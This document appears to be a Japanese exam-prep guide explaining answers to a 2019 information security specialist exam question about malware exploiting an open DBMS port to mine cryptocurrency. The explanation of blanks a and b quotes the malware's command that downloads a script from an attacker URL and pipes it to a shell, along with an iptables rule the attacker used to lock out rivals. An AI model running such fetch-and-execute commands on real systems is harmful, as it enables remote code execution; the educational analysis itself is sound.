情報処理安全確保支援士 2019年 秋期 午後2 問01

解答の論理構成

1. 図3の下線①は「表1の先頭に、ポート6379/tcpへのパケットを破棄するルールが挿入された」という操作です。
2. サーバAでは「急きょ、サーバAのポート6379／tcpを開放」し、DBMS-Rの「遠隔コマンド実行機能」を利用できる状態でした。
3. マルウェアXの侵入方法は「ポート6379/tcpが開放されたサーバを探索する」「不正に遠隔コマンド実行機能を利用」ことです。
4. 攻撃者は、侵入後にFWルールを追加してポート6379/tcpを遮断し、同じ手口で別の者が再度侵入することや別マルウェアに競合されることを防ぎます。
5. したがって①のルールが挿入されなければ、ポート6379/tcpは依然として開いたままで、他の攻撃者または別個体のマルウェアXが再侵入し、リソースを奪い合ったり既存のマルウェアXの動作を阻害したりする事態が発生します。

誤りやすいポイント

• 「遮断ルール＝防御」と誤解し、挿入されなければ“被害が拡大するだけ”とだけ書いてしまう。攻撃者の目的（独占・競合排除）に触れないと減点対象です。
• 6379/tcpの通信方向を混同し、サーバA“発”の探索が妨げられると説明してしまう。遮断しているのはサーバA“着”通信です。
• 「同じ攻撃者が再侵入」と書くと論理不整合。他者や別インスタンスによる競合を想定すべきです。

FAQ

解答の論理構成

1. 問題文の引用
   “例えば、Linuxにおけるプロセス監視ツールであるαコマンドは、プロセスIDが123の場合、β関数を通してγディレクトリ内のファイルにアクセスする…”
2. αの決定
   ・“Linuxにおけるプロセス監視ツール”という条件に合致する選択肢は“カ：top”のみ。
   ⇒ α＝“カ：top”
3. γの決定
   ・プロセス ID が 123 の情報があるディレクトリは /proc/123 である。
   ・選択肢 “ア：/proc/123” が一致。
   ⇒ γ＝“ア：/proc/123”
4. βの決定
   ・top が /proc/123 を読み取る際に呼び出すのは「ライブラリ関数」である。
   ・選択肢 “ク：ライブラリ” が該当。
   ⇒ β＝“ク：ライブラリ”

誤りやすいポイント

• 「ps」や「htop」と誤認し α を選び損ねる。問題文は “Linuxにおけるプロセス監視ツール” としか書かれていないが、代表格は “top” である点に注意。
• /proc と /proc/123 の取り違え。プロセス ID が具体例として示されているので末尾まで含めて選ぶ。
• “ライブラリ” を関数と結び付けられず β を “カーネル” と誤答するケース。ユーザ空間プログラムがシステムコールを呼ぶ前にライブラリ関数を通るのが一般的。

FAQ

解答の論理構成

1. 会員情報が漏えいするには、サーバAから外部へ当該データを送信する経路が必要です。
2. フォレンジック結果では、 ・「ネットワーク経由でのサーバA上のDBMS-Rへのアクセスは、S社のPCからのアクセス以外はマルウェアXによるアクセス1回だけであった。」
   ・「遠隔コマンド実行機能による不審なコマンドの実行は、マルウェアXによるものだけだった。」
   ・「サーバA上のSSHサービスへの接続もS社のPCからのアクセスだけであった。」
   と記載され、他の不審な外部接続は確認されていません。
3. マルウェアXの外部送信能力については図2で
   「(ア) 暗号資産の採掘用プログラムをダウンロードし、実行する機能」
   および
   4.暗号資産の採掘用プログラムの機能「(1) 採掘演算結果だけを外部の特定のサーバに送信する機能」
   と明記され、会員情報を送信する機能が存在しません。
4. したがって、外部への通信事実・機能の双方から会員情報送信の痕跡や機能は確認できず、下線②の結論に至ります。

誤りやすいポイント

• ログファイルが削除された事実から「情報が消された＝漏えいした」と早合点しやすいが、外部通信の有無とマルウェア機能を突き合わせる必要があります。
• 「アクセス1回だけ」という文言を見落とし、複数回の不正アクセスがあったと誤解しがちです。
• 採掘プログラムの外部通信を「データ送信」と広義に捉え会員情報も含むと誤答するケースがあります。

FAQ

解答の論理構成

誤りやすいポイント

• ポート変更（対策2）が「探索（1）」にも利くと混同しがちですが、設問は図2「3」の(ア)〜(オ)から選ぶため、探索は対象外です。
• 対策3を（ア）だけに限定してしまう誤答が多発します。ルートキットYのダウンロードも HTTP/HTTPS に依存している点を見落とさないようにしましょう。
• 対策4で（イ）を選ぶ誤り。権限を落としてもネットワーク侵入試行（イ）は防げません。あくまでもシステム内部で高権限が必要な処理（FW変更、インストール、ログ削除）が対象です。

FAQ

解答の論理構成

• まず問題文の会話部分を確認します。
  「Pさん：対策1については、サーバAのポートあ及びいへのアクセスは、S社の開発用LANだけからなので、表1において、送信元をうに限定すべきでした。」
  ここで あ と い は “サーバAで開放している二つのポート” を指していることが分かります。
• 表1（サーバAのFWルール）を参照すると、開放済みのポートは
  ・「22/tcp」
  ・「6379/tcp」
  の二つです。HTTP／HTTPS（80/tcp、443/tcp）は社外公開用なので対象外であることは、直後の「サーバAのポートあ及びいへのアクセスは、S社の開発用LANだけからなので」という発言と整合します。
  よって
  あ ＝ "22/tcp"（SSH 用）
  い ＝ "6379/tcp"（DBMS－R 用）
  となります。
• 次に送信元を限定する IP アドレス う を特定します。会話の後半に
  「今回は送信元をルータSのグローバルIPアドレスに限定するのでDBMS-Rのポートはいのままとします。」
  とあります。図1ではルータSに付与されたグローバル IP が「[ a2.b2.c2.d2 ]」と示されているため、 う ＝ "a2.b2.c2.d2"
  であることが確定します。

誤りやすいポイント

• 80/tcp や 443/tcp を あ に選んでしまう
  「Webアクセスも社内から行うはず」と短絡的に考えると誤答になります。会話文で “開発用LANだけ” と明示され、開発者が使用するのは SSH と DBMS 用ポートであることに注意が必要です。
• う に「172.16.3.0/24」を入れてしまう
  社内 LAN のプライベートアドレス全体を許可すると、対策1「利用が想定されるIPアドレスだけに限定する」に合致しません。図1の「[ a2.b2.c2.d2 ]」というグローバル IP を使う点が重要です。
• 22 と 6379 の後ろに「/tcp」を付け忘れる
  表1の記述は “番号/protocol” の形式なので、解答も同じ書式で書く必要があります。

FAQ

解答の論理構成

1. a の特定
   • 本文で P さんは「マルウェアXはサーバAに侵入の際及び感染後に、aコマンドによってファイルをダウンロードした」と説明しています。
   • 図3‐2 には
     curl ‑sf https://▲▲▲▲¹/attackers-url/xxx.sh | sh ‑s
     とあり、ファイル取得に用いられているのは “curl” です。
   • よって a＝ curl となります。
2. b の特定
   • P さんは「今回、bコマンドによって、図2の（ウ）が実行されました」と述べています。
   • 図2（ウ）は「サーバのFWルールを変更する機能」、図3‐3 には
     iptables ‑I INPUT ‑p tcp ‑-dport 6379 ‑j DROP
     と具体的なコマンドが示されています。
   • ファイアウォール（FW）ルール変更を行う Linux コマンドは “iptables” であるため、b＝ iptables です。

誤りやすいポイント

• “curl” と “wget” の取り違え
  • 図3‐2 のスクリプトは “curl ‑sf … | sh ‑s” と明示されているが、ファイル取得＝ wget と早合点してしまうケースが多いです。
• “iptables” と “firewalld” の混同
  • CentOS7 以降では firewalld が採用されている例もあり、コマンド名を firewall-cmd と誤記するミスが見られます。問題文はあくまで “iptables” を示しています。
• 図番号の読み違え
  • b に関して「図2（ウ）」だけを見て悩みがちですが、図3‐3 の実際のコマンド行まで確認しないと確証が得られません。

FAQ

解答の論理構成

1. 原文では
   ――「保護対象ファイルのえを計算して、保護された場所に保存しておき、定期的に、保護対象ファイルのえを計算し直した値と保存しておいた値とをおすることによって、保護対象ファイルのか又は改ざんが検知できる。」
   とあり、典型的なファイル改ざん検知の説明になっています。
2. まずえ
   • ファイル改ざん検知では MD5 や SHA-256 などの「ハッシュ値」を“計算”して保存するのが一般的です。
   • 選択肢のうち“計算”対象に自然なのは「オ：ハッシュ値」。
   ⇒ [え] = 「オ」
3. 次にお
   • 保存しておいた値と再計算した値を行う操作は“比較”です。
   • 選択肢「カ：比較」が該当。
   ⇒ [お] = 「カ」
4. 最後にか
   • 文脈は「か又は改ざん」を検知できる、という並列関係です。
   • 改ざんの同義語として並べるなら「変更」が最も自然。
   • 選択肢「キ：変更」が該当。
   ⇒ [か] = 「キ」
5. 以上より
   [え]＝オ、[お]＝カ、[か]＝キ となります。

誤りやすいポイント

• 「タイムスタンプ」を選びがち
  ファイル属性にも“更新時刻”がありますが、タイムスタンプは“計算”ではなく“取得”するものなので文脈と動詞が合いません。
• 「参照」と「比較」の取り違え
  保存値と再計算値を“参照”するだけでは改ざん可否は判断できず、“比較”が必要です。
• 「変更」と「改ざん」の区別
  改ざん＝悪意ある変更という広義‐狭義関係を意識しないと別の語を当てはめてしまいます。

FAQ

解答の論理構成

1. 【問題文】では、設計プロセスについて「セキュリティ対策の漏れを防ぐために、③参考になりそうなセキュリティ対策の標準を利用することにした」と記述しています。
2. “セキュリティ対策の標準”とは、インフラやアプリケーションに対して「こう設定・実装すべき」というベースラインを網羅的に示すドキュメントである必要があります。
3. 解答群を検討します。
   • ア「CIS Benchmarks」
     ・OS／ミドルウェア／クラウドなどの安全設定を体系的に示す“ベンチマーク”で、設計段階での設定漏れ防止に有効です。
   • ウ「OWASP ASVS」
     ・Webアプリを対象に、認証・セッション管理・入力値検証などの要件をレベル別に整理した“Application Security Verification Standard”で、セキュア設計に直接利用できます。
   • イ「FedRAMP」
     ・米国政府向けクラウド認証制度であり、一般的な設計標準とは趣旨が異なります。
   • エ「OWASP ZAP」
     ・脆弱性診断ツールであり、標準ではありません。
   • オ「QUIC」
     ・トランスポート層プロトコルであり、設計標準とは無関係です。
   • 力「X.509」
     ・公開鍵証明書のフォーマット規格であり、セキュリティ対策を体系的に網羅した標準とは言えません。
4. よって、設計段階で参照すべき“セキュリティ対策の標準”に該当するのは「CIS Benchmarks」と「OWASP ASVS」です。

誤りやすいポイント

• 「OWASP ZAP」はツール名なので“標準”ではない点を見落としがちです。
• 「FedRAMP」はクラウドサービス認証というマネジメント色の強い枠組みで、技術的ガイドラインとは目的が異なります。
• 「X.509」は証明書形式で、セキュリティ対策の網羅的要件を提供するものではありません。

FAQ

解答の論理構成

1. 【問題文】には、運用プロセスで「④収集する情報を必要十分な範囲に絞るため、情報収集に先立って必要な措置を取る」とあります。
2. “必要十分な範囲”とは、自社で実際に利用しているソフトウェアだけを対象にするという意味です。そのためには、どの製品・バージョンが稼働しているかを把握しておく必要があります。
3. もしバージョン不明のまま脆弱性情報を収集すると、不要な情報が大量に集まり対応が後手になります。逆に把握しておけば、該当する脆弱性情報だけを追跡でき、後段で行う「社内できを実施」「検証環境でパッチを適用しくを行った上で…」という運用が効率化されます。
4. 以上より、先立って取る措置は「実行環境のバージョン情報を網羅的に整備・最新版に保つこと」です。
5. よって模範解答の「S社のシステムを構成する実行環境のバージョン情報を把握して、その情報を常に最新にしておくこと」となります。

誤りやすいポイント

• “情報収集に先立って…”を「脆弱性情報の配信サービスに登録すること」と誤解する。先にすべきは資産把握です。
• “必要十分な範囲に絞る”を「重大度が高い情報だけを選別する」と読み違え、バージョン管理の観点を見落とす。
• アプリケーションだけに着目し、OS・ミドルウェアを含む「実行環境」全体を棚卸ししない。

FAQ

解答の論理構成

1. 報告された脆弱性に対して“深刻度を把握し、対応優先度を決める”作業が必要
   • 【問題文】「脆弱性情報が報告された際、社内できを実施する。」
   • 深刻度評価の代表的な国際標準が“CVSS（Common Vulnerability Scoring System）”。
   • 解答群「ア：CVSSによる脆弱性アセスメント」は、そのまま“CVSSを用いた評価”を指す。
     ▶ よって [き] ＝ 「ア：CVSSによる脆弱性アセスメント」。
2. パッチ適用後に“既存機能への影響有無”を確認する試験が必要
   • 【問題文】「検証環境でパッチを適用しくを行った上で、問題がなければ、本番環境にパッチを適用する。」
   • 新しい修正が旧来機能を壊していないかを確認する試験＝回帰テスト。
   • 解答群「ウ：回帰テスト」がこれに該当。
     ▶ よって [く] ＝ 「ウ：回帰テスト」。

誤りやすいポイント

• 「TTX」を“脆弱性評価”と誤認する
  Table-Top Exercise はインシデント対応訓練であり、深刻度算定とは無関係です。
• 「ストレステスト」を“パッチ後の確認”と選択する
  ストレステストは高負荷時の性能検証で、機能改修の副作用チェックが目的の“回帰テスト”とは異なります。
• 「パッチの作成」を“社内で行う手順”と解釈する
  今回の流れは“入手したパッチを適用”する前提で、自社開発までは想定していません。

FAQ

解答の論理構成

• 【問題文】図6の手順3には
  「計画及び作業手順書を こ が け しリーダが承認する。」
  と記載されています。
• システム変更管理の慣例では、変更を実施する担当者とは別の人物が内容を確認し、品質や安全性を担保します。この工程は “レビュー” と呼ばれ、客観性を確保するために “第三者” が行うのが一般的です。
• したがって、 ・け には確認行為を示す「レビュー」
  ・こ には確認者の立場を示す「第三者」
  を当てはめると、プロセスの流れが自然になります。

誤りやすいポイント

• け に「承認」を入れてしまう
  → 承認は直後の「リーダが承認する」で既に実行者が明示されているため重複します。
• こ に「担当者」や「作成者」を入れる
  → 自己チェックでは客観性が担保できず、変更管理の原則に反します。
• 「レビュー」と「監査」を混同する
  → 監査は定期的・体系的な評価、レビューは直近の成果物確認を指し目的が異なります。

FAQ

解答の論理構成

1. 【問題文】
   サーバでcを一つ稼働させておけば、cの上で、dごとに別のeを稼働させることが可能です。
   • “サーバで一つ稼働させる”ものは、コンテナを動かすための基盤ソフトです。
   • Docker などでいう “コンテナエンジン” がそれに当たるため、 ➔ c＝「オ：コンテナエンジン」。
2. 同行の後半
   …dごとに別のeを稼働…
   • “ごとに”という表現はアプリケーション単位で分ける説明に合致。
   • e に入る語は “コンテナ”で、d はそれを内包する “アプリ” が自然。
     ➔ d＝「ア：アプリ」、e＝「エ：コンテナ」。
3. 【問題文】
   構成情報については、fを確認することができ…
   • 構成情報をバージョン管理すると、いつ・誰が・何を変更したかが追跡できます。
   • これは “変更の履歴” を確認できるという意味なので、 ➔ f＝「カ：変更の履歴」。
4. 【問題文】
   …g環境と同じ実行環境を用意して、dが動作するかを確認…
   • リリース前に本番と同一構成で動作確認する場面。
     ➔ g＝「キ：本番」。
   図5で提案したh環境も用意できます。
   • 図5の提案では “検証環境” の整備が課題と書かれている。
     ➔ h＝「ウ：検証」。

誤りやすいポイント

• c を「エ：コンテナ」と誤読し、基盤と実行単位を取り違える。
• d／e を逆に配置し「アプリが複製される」と誤答するケース。
• 図5の記述を見落とし、h に「開発」など無関係な語を選択する。
• 「履歴」と「差分」を混同し、f に“差分”や“バックアップ”を入れてしまう。

FAQ